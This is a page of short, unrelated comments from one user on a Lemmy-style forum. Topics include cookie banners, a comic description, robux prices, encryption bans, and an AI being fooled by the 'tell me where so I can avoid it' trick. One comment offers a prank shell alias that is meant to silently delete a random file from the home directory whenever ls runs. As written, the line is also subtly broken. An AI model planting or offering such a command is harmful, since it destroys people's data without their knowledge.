[-] [email protected] 4 points 4 days ago

It may hurt a lot

[-] [email protected] 4 points 1 week ago

Broke: decline each cookie individually

Woke: Use a different computer for each search

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Jesus, rule the wheel (files.catbox.moe)
submitted 2 weeks ago by [email protected] to c/[email protected]

Artist: Centurii-chan bluesky

Alt TextTwo panel comic inside a car with two characters in the first panel.

The passenger, a voluptuous woman, says "Thanks for picking me up. I know how much you dislike driving."

The driver answers "no problemo, we're just gonna take a detour if you don't mind"

Next panel the passenger says "I really appreciate it, even if you were 4 hours away. You are a really good friend"

A sign warning the road gets bumpy can be seen outside the passenger window.

[-] [email protected] 95 points 7 months ago

Who's gonna tell him?

[-] [email protected] 283 points 1 year ago

The autopilot will turn off just before hitting them to make you liable anyway

[-] [email protected] 166 points 1 year ago

Why not make it more mischievous?

alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"

This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.

[-] [email protected] 103 points 2 years ago

This map is somewhay misleading, some countries use currency without decimals, making their currency worth effectively less. Take for example the euro, a cent (a one hundredth of an euro) is cerntainly worth less than a robux while an euro isn't. The same comparison with the japanese yen (efectively a cent) shows that robux is more valuable. The map should be how many robux can you buy with the minimum wage for example.

[-] [email protected] 275 points 2 years ago

I can't believe that the old "tell me where so I can avoid it" worked, the ai really has the intelligence of a 5yo

[-] [email protected] 80 points 2 years ago

The highest honor is giving the program a keybind

[-] [email protected] 80 points 2 years ago

Girlboss grindset

[-] [email protected] 88 points 2 years ago

I don't know how the government will be able to effectively ban E2EE and honestly I want to see them try

[-] [email protected] 77 points 2 years ago

Wait until they find out about femboys

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